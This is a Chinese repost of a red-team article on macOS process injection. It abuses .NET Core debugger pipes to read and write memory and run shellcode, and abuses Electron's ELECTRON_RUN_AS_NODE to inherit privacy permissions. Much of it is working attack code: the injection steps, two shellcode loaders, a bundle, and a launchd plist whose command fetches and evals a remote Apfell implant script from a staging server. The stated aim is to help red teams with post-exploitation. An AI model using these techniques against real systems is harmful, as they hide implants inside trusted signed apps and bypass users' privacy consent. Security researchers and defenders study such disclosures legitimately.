站长

对抗持续增强的权限控制:借助第三方框架实现macOS注入

作者:admin 2021-07-26 我要评论

概述 在加入了TrustedSec AETR团队以来,我花了一些时间研究macOS环境下的Tradecraft。遗憾的是,对于攻击方来说,与Windows相比,针对macOS环境的攻击难度越来...

在说正事之前,我要推荐一个福利:你还在原价购买阿里云、腾讯云、华为云服务器吗?那太亏啦!来这里,新购、升级、续费都打折,能够为您省60%的钱呢!2核4G企业级云服务器低至69元/年,点击进去看看吧>>>)

概述

在加入了TrustedSec AETR团队以来,我花了一些时间研究macOS环境下的Tradecraft。遗憾的是,对于攻击方来说,与Windows相比,针对macOS环境的攻击难度越来越大。随着隐私保护、沙箱和大量的权限控制,攻击者难以在macOS设备上放置植入工具。

在杀伤链(Killchain)的后漏洞利用(post-exploitation)中,进程注入是一种重要的方式,Apple也花费了巨大的努力去防范这种方式。从历史上来看,我们以前可以在目标进程上调用task_for_pid,检索其Mach端口,并执行mach_vm_以分配和读取/写入内存。而今天,这些API已经受到严格的限制,只有root用户才能调用这些函数。也就是说,只要二进制文件没有使用Hardened Runtime,并且目标不是Apple签名的二进制文件,那么即使是root用户,也不能查看其内存。

在这篇文章中,我们将介绍一些利用第三方技术实现代码注入的有趣方法。对我们来说,这种方式可以转换为在目标应用程序的上下文中运行代码,而无需再致力于禁用系统完整性保护(SIP)。

请注意:本文中分析的两种技术都不是特定于macOS的,它们也可以在Linux和Windows系统上实现,但是由于Apple对进程注入进行了限制,所以本文重点放在了对macOS的影响上。

首先,让我们看看所有人都应该熟悉的技术——.NET Core。

NET Core

Microsoft的.NET Core框架是一种流行的跨平台运行时和软件开发套件(SDK),可以使用我们熟知的.NET语言开发应用程序。由.NET Core运行时提供支持的最受欢迎的应用程序之一就是PowerShell的跨平台版本,我们将以它作为最开始的测试平台。

为了展示我们在尝试macOS注入过程中所面临的复杂性,我们首先演示通过task_for_pid API进行注入的传统方式。一种简单的方法是使用:

  1. kern_return_t kret; 
  2.  
  3. mach_port_t task; 
  4.  
  5. kret = task_for_pid(mach_task_self(), atoi(argv[1]), &task); 
  6.  
  7. if (kret!=KERN_SUCCESS) 
  8.  
  9.  
  10. printf("task_for_pid() failed: %s!\n",mach_error_string(kret)); 
  11.  
  12. else { 
  13.  
  14. printf("task_for_pid() succeeded\n"); 
  15.  

当针对目标PowerShell进程运行时,我们得到了预期的错误提示。

无法检索PowerShell的任务端口:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

接下来,我们尝试以root身份运行。尝试对没有Hardened Runtime标志的应用程序进行测试,得到了正常的结果。

以root用户身份成功获取PowerShell的任务端口:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

但是,一旦我们开始使用Hardened Runtime标志签名的应用程序,就会遇到相同的错误。

在加固后进程中不能以root用户身份获得任务端口:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

如果我们使用lldb之类的东西,而它拥有com.apple.security.cs.debugger的强大功能,会发生什么?当非root用户尝试访问未加固的进程时,我们取得了一些进展,但是这时也出现了一个对话框,警告我们存在的目标,这实际上就有些影响隐蔽性了。

请求调试权限时向用户显示的对话框:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

再次,我们以root用户身份运行lldb,也无法使用Hardened Runtime调试进程。

调试器无法以root用户身份附加到加固后的进程:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

总之,这意味着,只有在我们以root用户,且未使用Hardened Runtime标志对进程进行签名的情况下,才可以注入.NET Core进程。

既然如此,Apple的API现在对我们来说就毫无用处,我们在没有一个理想的漏洞的情况下,还能怎样去控制目标.NET Core进程呢?为了理解这一点,我们应该更深入分析一下运行时的源代码,可以在这里找到:https://github.com/dotnet/runtime 。

NET Core调试

让我们从头开始,尝试了解诸如Visual Studio Code这样的调试器是如何与.NET Core进程进行交互的。

查看dbgtransportsession.cpp中的.NET Core源代码,可以发现这部分代码负责处理调试器与调试内容的通信,在函数DbgTransportSession::Init中创建了一系列命名管道。

对于macOS(和*nix),这些管道是使用以下代码创建的FIFO命名管道:

  1. if (mkfifo(m_inPipeName, S_IRWXU) == -1) 
  2.  
  3.  
  4. return false
  5.  
  6.  
  7. unlink(m_outPipeName); 
  8.  
  9. if (mkfifo(m_outPipeName, S_IRWXU) == -1) 
  10.  
  11.  
  12. unlink(m_inPipeName); 
  13.  
  14. return false
  15.  

为进行分析,我们可以启动PowerShell,并看到在当前用户的$TMPDIR内创建了两个命名管道,其名称为PID,并带有in或out的后缀。

.NET Core创建用于调试的命名管道:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

在了解命名管道的位置和目的后,我们如何与目标进程进行通信?答案位于方法DbgTransportSession::TransportWorker之中,该方法负责处理来自调试器的传入连接。

阅读代码,我们发现调试器要做的第一件事是创建一个新的调试会话。这是通过以MessageHeader结构开头的out管道发送消息来完成的,这部分可以从.NET源代码中看到:

  1. struct MessageHeader 
  2.  
  3.  
  4. MessageType m_eType; // Type of message this is 
  5.  
  6. DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) 
  7.  
  8. DWORD m_dwId; // Message ID assigned by the sender of this message 
  9.  
  10. DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) 
  11.  
  12. DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and // never readunion { 
  13.  
  14. struct { 
  15.  
  16. DWORD m_dwMajorVersion; // Protocol version requested/accepted 
  17.  
  18. DWORD m_dwMinorVersion; 
  19.  
  20. } VersionInfo; 
  21.  
  22. ... 
  23.  
  24. } TypeSpecificData; 
  25.  
  26. BYTE m_sMustBeZero[8]; 
  27.  

对于新的会话请求,该结构填充如下:

  1. static const DWORD kCurrentMajorVersion = 2; 
  2.  
  3. static const DWORD kCurrentMinorVersion = 0; 
  4.  
  5. // Set the message type (in this case, we're establishing a session) 
  6.  
  7. sSendHeader.m_eType = MT_SessionRequest; 
  8.  
  9. // Set the version 
  10.  
  11. sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; 
  12.  
  13. sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; 
  14.  
  15. // Finally set the number of bytes which follow this header 
  16.  
  17. sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); 

构造完成后,我们使用write syscall将其发送到目标:

  1. write(wr, &sSendHeader, sizeof(MessageHeader)); 

在标头之后,我们需要发送一个sessionRequestData结构,该结构包含一个用于标识会话的GUID:

  1. // All '9' is a GUID.. right
  2.  
  3. memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); 
  4.  
  5. // Send over the session request data 
  6.  
  7. write(wr, &sDataBlock, sizeof(SessionRequestData)); 

在发送完成会话请求后,我们从out管道中读取一个标头,该标头将指调试器会话是否成功:

  1. read(rd, &sReceiveHeader, sizeof(MessageHeader)); 

在这一阶段,我们已经与目标建立了调试器会话。接下来,就可以与目标进程进行通信了,那么我们可以使用哪些功能呢?通过查看运行时公开的消息类型,可以找到两个值得关注的原语,分别是MT_ReadMemory和MT_WriteMemory。

这些消息完全符合我们的预期,可以让我们读取和写入目标进程的内存。这里需要考虑的是,我们可以在典型的macOS API调用之外读取和写入内存,从而为我们提供了.NET Core进程内存的后门。

让我们开始尝试从目标进程中读取一些内存。与会话创建一样,我们首先制作标头:

  1. // We increment this for each request 
  2.  
  3. sSendHeader.m_dwId++; 
  4.  
  5. // This needs to be set to the ID of our previous response 
  6.  
  7. sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; 
  8.  
  9. // Similar to above, this indicates which ID we are responding to 
  10.  
  11. sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; 
  12.  
  13. // The type of request we are making 
  14.  
  15. sSendHeader.m_eType = MT_ReadMemory; 
  16.  
  17. // How many bytes will follow this header 
  18.  
  19. sSendHeader.m_cbDataBlock = 0; 

但是,这一次,我们还提供了一个希望从目标读取的地址:

  1. // Address to read from 
  2.  
  3. sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; 
  4.  
  5. // Number of bytes to read 
  6.  
  7. sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; 

我们可以借助下面的方法,分配一些非托管内存,来针对PowerShell进行尝试:

  1. [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi("HAHA, MacOS be protectin' me!"

可以使用概念证明(POC)代码轻松读取此内存。

从PowerShell中转储内存:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

当然,通过使用命令覆盖内存注入PowerShell,我们也可以实现相反的操作。

将内存注入PowerShell:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

用于执行此操作的POC代码请参考: https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5 。

NET Core代码执行

之前我们聚焦于如何将代码注入到PowerShell中,接下来要解决的问题是,如何将读写原语转换为代码执行?这里还需要考虑到,我们没有更改内存保护的能力,所以如果要引入类似Shellcode的内容,只能写入标记为可写和可执行的内存页面。

在这种情况下,我们有几种选择,作为简单的概念证明来说,首先可以确定内存的RWX页面,并在其中托管我们的Shellcode。Apple限制了我们遍历远程进程地址空间的能力。但是,我们实际上还可以访问vmmap,其中包含了很多权限,也包括用于访问目标Mach端口的com.apple.system-task-ports。

在PowerShell中执行vmmap -p [PID],可以看到很多适合托管代码的内存区域,下面以rwx/rwx权限突出显示。

使用vmmap识别内存的RWX页面:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

既然我们知道了将Shellcode注入的地址,我们就需要找到一个可以写入的位置,来触发代码执行。函数指针是一个比较理想的位置,不用太长时间就可以发现许多理想的目标。我们用到的一个方法是覆盖动态函数表(DFT)中的指针,.NET Core运行时使用该指针为JIT编译提供帮助函数。可以在jithelpers.h中找到支持的函数指针的列表。

查找指向DFT的指针实际上很简单,我们可以使用类似于mimikatz的签名搜寻技术来搜索libcorclr.dll,以查找对符号_hlpDynamicFuncTable的引用,随后取消引用。

生成搜寻_hlpDynamicFuncTable符号签名的指令:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

接下来要做的,就是找到一个地址,从该地址开始进行签名搜索。为此,我们利用了另一个公开的调试器函数MT_GetDCB。这将会返回有关目标进程的许多有用信息,但是对我们来说,我们关注的是返回的字段,字段中包含帮助函数的地址m_helperRemoteStartAddr。通过这个地址,就可以知道libcorclr.dll在目标进程内存中的位置,并且可以开始搜索DFT。

现在,我们已经拥有了注入和执行代码所需的所有内容,可以尝试将一些Shellcode写入内存的RWX页面,并通过DFT传输代码执行。我们使用的Shellcode非常简单,只需要在PowerShell提示符中显示一条消息,然后再将执行返回给CLR(以防止崩溃)即可:

  1. [BITS 64] 
  2.  
  3. section .text 
  4.  
  5. _start: 
  6.  
  7. ; Avoid running multiple times 
  8.  
  9. cmp byte [rel already_run], 1 
  10.  
  11. je skip 
  12.  
  13. ; Save our regs 
  14.  
  15. push rax 
  16.  
  17. push rbx 
  18.  
  19. push rcx 
  20.  
  21. push rdx 
  22.  
  23. push rbp 
  24.  
  25. push rsi 
  26.  
  27. push rdi 
  28.  
  29. ; Make our write() syscall 
  30.  
  31. mov rax, 0x2000004 
  32.  
  33. mov rdi, 1 
  34.  
  35. lea rsi, [rel msg] 
  36.  
  37. mov rdx, msg.len 
  38.  
  39. syscall 
  40.  
  41. ; Restore our regs 
  42.  
  43. pop rdi 
  44.  
  45. pop rsi 
  46.  
  47. pop rbp 
  48.  
  49. pop rdx 
  50.  
  51. pop rcx 
  52.  
  53. pop rbx 
  54.  
  55. pop rax 
  56.  
  57. mov byte [rel already_run], 1 
  58.  
  59. skip: 
  60.  
  61. Return execution (patched in later by our loader) 
  62.  
  63. mov rax, 0x4141414141414141 
  64.  
  65. jmp rax 
  66.  
  67. msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa 
  68.  
  69. .len: equ $ - msg 
  70.  
  71. already_run: db 0 

编写完成上述Shellcode之后,我们将所有这些组合在一起,看看执行过程究竟如何。

演示视频:https://youtu.be/KqTIrB_WUgA

用于注入Shellcode的完整POC代码请参考: https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6 。

Hardened Runtime是否能防范攻击

现在,我们可以注入到.NET Core进程中,还剩下一个明显的问题,就是Hardened Runtime是否可以阻止这种情况?根据我们的分析,设置Hardened Runtime标志不会对暴露给我们的调试管道产生影响,这意味着Hardened Runtime标志签名的应用程序仍然会暴露上述IPC调试函数,该函数正是要实现注入所必须的。

举例来说,我们看一下另一个经过签名,并启用了Hardened Runtime标志的知名应用程序Fiddler。

与Fiddler应用程序相关联的Hardened Runtime标志:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

在这里,我们找到了Hardened Runtime标志集,但是,启动应用程序仍然会导致创建调试管道。

在使用Hardened Runtime的状态下Fiddler创建的命名管道:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

尝试向Fiddler中注入一些Shellcode,以确保一切正常。这次,我们使用的是Cody Thomas的Mythic框架,将其中的Apfell植入工具注入到目标进程中。

有几种方法可以选择,但是为了简单起见,我们使用wNSCreateObjectFileImageFromMemory方法从磁盘加载Bundle:

  1. [BITS 64] 
  2.  
  3. NSLINKMODULE_OPTION_PRIVATE equ 0x2 
  4.  
  5. section .text 
  6.  
  7. _start: 
  8.  
  9. cmp byte [rel already_run], 1 
  10.  
  11. je skip 
  12.  
  13. Update our flag so we don't run every time 
  14.  
  15. mov byte [rel already_run], 1 
  16.  
  17. ; Store registers for later restore 
  18.  
  19. push rax 
  20.  
  21. push rbx 
  22.  
  23. push rcx 
  24.  
  25. push rdx 
  26.  
  27. push rbp 
  28.  
  29. push rsi 
  30.  
  31. push rdi 
  32.  
  33. push r8 
  34.  
  35. push r9 
  36.  
  37. push r10 
  38.  
  39. push r11 
  40.  
  41. push r12 
  42.  
  43. push r13 
  44.  
  45. push r14 
  46.  
  47. push r15 
  48.  
  49. sub rsp, 16 
  50.  
  51. ; call malloc 
  52.  
  53. mov rdi, [rel BundleLen] 
  54.  
  55. mov rax, [rel malloc] 
  56.  
  57. call rax 
  58.  
  59. mov qword [rsp], rax 
  60.  
  61. open the bundle 
  62.  
  63. lea rdi, [rel BundlePath] 
  64.  
  65. mov rsi, 0 
  66.  
  67. mov rax, 0x2000005 
  68.  
  69. syscall 
  70.  
  71. read the rest of the bundle into alloc memory 
  72.  
  73. mov rsi, qword [rsp] 
  74.  
  75. mov rdi, rax 
  76.  
  77. mov rdx, [rel BundleLen] 
  78.  
  79. mov rax, 0x2000003 
  80.  
  81. syscall 
  82.  
  83. pop rdi 
  84.  
  85. add rsp, 8 
  86.  
  87. Then we need to start loading our bundle 
  88.  
  89. sub rsp, 16 
  90.  
  91. lea rdx, [rsp] 
  92.  
  93. mov rsi, [rel BundleLen] 
  94.  
  95. mov rax, [rel NSCreateObjectFileImageFromMemory] 
  96.  
  97. call rax 
  98.  
  99. mov rdi, qword [rsp] 
  100.  
  101. lea rsi, [rel symbol] 
  102.  
  103. mov rdx, NSLINKMODULE_OPTION_PRIVATE 
  104.  
  105. mov rax, [rel NSLinkModule] 
  106.  
  107. call rax 
  108.  
  109. add rsp, 16 
  110.  
  111. lea rsi, [rel symbol] 
  112.  
  113. mov rdi, rax 
  114.  
  115. mov rax, [rel NSLookupSymbolInModule] 
  116.  
  117. call rax 
  118.  
  119. mov rdi, rax 
  120.  
  121. mov rax, [rel NSAddressOfSymbol] 
  122.  
  123. call rax 
  124.  
  125. ; Call our bundle exported function 
  126.  
  127. call rax 
  128.  
  129. ; Restore previous registers 
  130.  
  131. pop r15 
  132.  
  133. pop r14 
  134.  
  135. pop r13 
  136.  
  137. pop r12 
  138.  
  139. pop r11 
  140.  
  141. pop r10 
  142.  
  143. pop r9 
  144.  
  145. pop r8 
  146.  
  147. pop rdi 
  148.  
  149. pop rsi 
  150.  
  151. pop rbp 
  152.  
  153. pop rdx 
  154.  
  155. pop rcx 
  156.  
  157. pop rbx 
  158.  
  159. pop rax 
  160.  
  161. Return execution 
  162.  
  163. skip: 
  164.  
  165. mov rax, [rel retaddr] 
  166.  
  167. jmp rax 
  168.  
  169. symbol: db '_run',0x0 
  170.  
  171. already_run: db 0 
  172.  
  173. ; Addresses updated by launcher 
  174.  
  175. retaddr: dq 0x4141414141414141 
  176.  
  177. malloc: dq 0x4242424242424242 
  178.  
  179. NSCreateObjectFileImageFromMemory: dq 0x4343434343434343 
  180.  
  181. NSLinkModule: dq 0x4444444444444444 
  182.  
  183. NSLookupSymbolInModule: dq 0x4545454545454545 
  184.  
  185. NSAddressOfSymbol: dq 0x4646464646464646 
  186.  
  187. BundleLen: dq 0x4747474747474747 
  188.  
  189. ; Path where bundle is stored on disk 
  190.  
  191. BundlePath: resb 0x20 

我们利用加载的Bundle来实现JXA执行:

  1. #include #include #import #import 
  2.  
  3. void threadStart(void* param) { 
  4.  
  5. OSAScript *scriptNAME= [[OSAScript alloc] initWithSource:@"eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://127.0.0.1:8111/apfell-4.js')), $.NSUTF8StringEncoding)));" language:[OSALanguage languageForName:@"JavaScript"] ]; 
  6.  
  7. NSDictionary * errorDict = nil; 
  8.  
  9. NSAppleEventDescriptor * returnDescriptor = [scriptNAME executeAndReturnError: &errorDict]; 
  10.  
  11.  
  12. int run(void) { 
  13.  
  14. #ifdef STEAL_THREAD 
  15.  
  16. threadStart(NULL); 
  17.  
  18. #else 
  19.  
  20. pthread_t thread; 
  21.  
  22. pthread_create(&thread, NULL, &threadStart, NULL); 
  23.  
  24. #endif 
  25.  

如果我们现在按照针对Fiddler的.NET Core WebUI流程执行与之前完全相同的步骤,来实现代码注入,一切顺利的话,就可以将Apfell植入工具注入加固后的进程中,并派生出植入工具。

演示视频:https://youtu.be/-e4OrX2nmeY

用于注入Apfell植入工具的POC代码: https://gist.github.com/xpn/ce5e085b0c69d27e6538179e46bcab3c。

好了,现在我们看到了运行时这些隐藏函数的实用性,但这是.NET Core的个例吗?事实证明,不是。我们接下来看一下App Store里面的另一个框架——Electron。

劫持Electron

众所周知,Electron是一个框架,可以用于将Web应用程序移植到桌面,同时能够安全地存储RAM,供后续需要时使用。

那么,我们如何才能在经过签名和加固后的Electron应用程序中执行代码?这里就要引入环境变量——ELECTRON_RUN_AS_NODE。

这个环境变量是将Electron应用程序转换为常规的旧NodeJS REPL所需要的全部。例如,我们从App Store中获取一个流行的应用程序(例如Slack),并在设置了ELECTRON_RUN_AS_NODE环境变量的情况下启动该进程:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

这也适用于Visual Studio Code:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

Discord...

对抗持续增强的权限控制:借助第三方框架实现macOS注入

甚至是BloodHound:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

我本来以为这些是0-day,但实际上已经在文档中发布过( https://www.electronjs.org/docs/api/environment-variables#electron_run_as_node )。

那么,这对于我们来说意味什么?同样,在macOS环境中,这意味着,如果我们对某个应用程序感兴趣,或者允许针对Electron应用程序使用隐私控制,那么就可以在带有ELECTRON_RUN_AS_NODE环境变量的情况下执行签名和加固的进程,然后将NodeJS代码传递并执行。

我们以Slack为例,尝试利用该应用程序通常允许的桌面、文档等区域的访问,来解决TCC问题。在macOS中,子进程将继承父进程的TCC权限,因此这意味着我们可以使用NodeJS生成子进程(例如Apfell的植入程序),该子进程将继承用户授予的所有隐私设置允许的项目。

为此,我们将使用launchd通过以下plist生成Electron进程:

  1. < ?xml version="1.0" encoding="UTF-8"? >< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd >< plist version="1.0" >< dict > 
  2.  
  3. key >EnvironmentVariables < /key > 
  4.  
  5. < dict > 
  6.  
  7. key > ELECTRON_RUN_AS_NODE < /key > 
  8.  
  9. < string > true < /string > 
  10.  
  11. < /dict > 
  12.  
  13. key > Label < /key > 
  14.  
  15. < string > com.xpnsec.hideme < /string > 
  16.  
  17. key > ProgramArguments < /key > 
  18.  
  19. < array > 
  20.  
  21. < string > /Applications/Slack.app/Contents/MacOS/Slack < /string > 
  22.  
  23. < string > -e < /string > 
  24.  
  25. < string > const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]); < /string > 
  26.  
  27. < /array > 
  28.  
  29. key > RunAtLoad < /key > 
  30.  
  31. true/ >< /dict >< /plist > 

然后,我们可以启动任务,加载plist并使用ELECTRON_RUN_AS_NODE环境变量启动Slack,通过OSAScript执行Apfell:

  1. launchctl load /tmp/loadme.plist 

如果一切顺利,我们将按照预期返回到Shell。

Apfell植入工具返回到Mythic框架:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

通常,在这里,当我们请求~/Downloads之类的内容时,大家可能担心会向用户显示隐私提示,但实际上,由于现在是Slack的子进程,因此可以使用其继承的隐私权限。

演示视频:https://youtu.be/1_3Q00-c_JA 。

当然,如果攻击者在未获得许可的情况下请求访问任何内容,我们可以让合法应用来背这个锅:

当加载Apfell植入工具请求访问时,显示的TCC对话框:

对抗持续增强的权限控制:借助第三方框架实现macOS注入

现在,我们就已经掌握了几种利用第三方架公开的功能来解决macOS进程注入限制的方法。这种注入技术适用于大量应用程序,考虑到Apple在macOS系统中不断加强的限制,这种效果也令人惊讶。我们希望,通过展示这种技术,可以帮助一些红队成员更好地实现macOS后漏洞利用的注入环节。

本文翻译自:https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/如若转载,请注明原文地址。


本文转载自网络,原文链接:https://www.4hou.com/posts/n8yD

版权声明:本文转载自网络,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。本站转载出于传播更多优秀技术知识之目的,如有侵权请联系QQ/微信:153890879删除

相关文章
  • 谷歌警告用户,2020年有3.3万次国家赞

    谷歌警告用户,2020年有3.3万次国家赞

  • 深入剖析HashiCorp Vault中的身份验证

    深入剖析HashiCorp Vault中的身份验证

  • 腾讯云防火墙的8大核心优势

    腾讯云防火墙的8大核心优势

  • 构建安全驱动型网络,Fortinet荣誉2020

    构建安全驱动型网络,Fortinet荣誉2020

腾讯云代理商
海外云服务器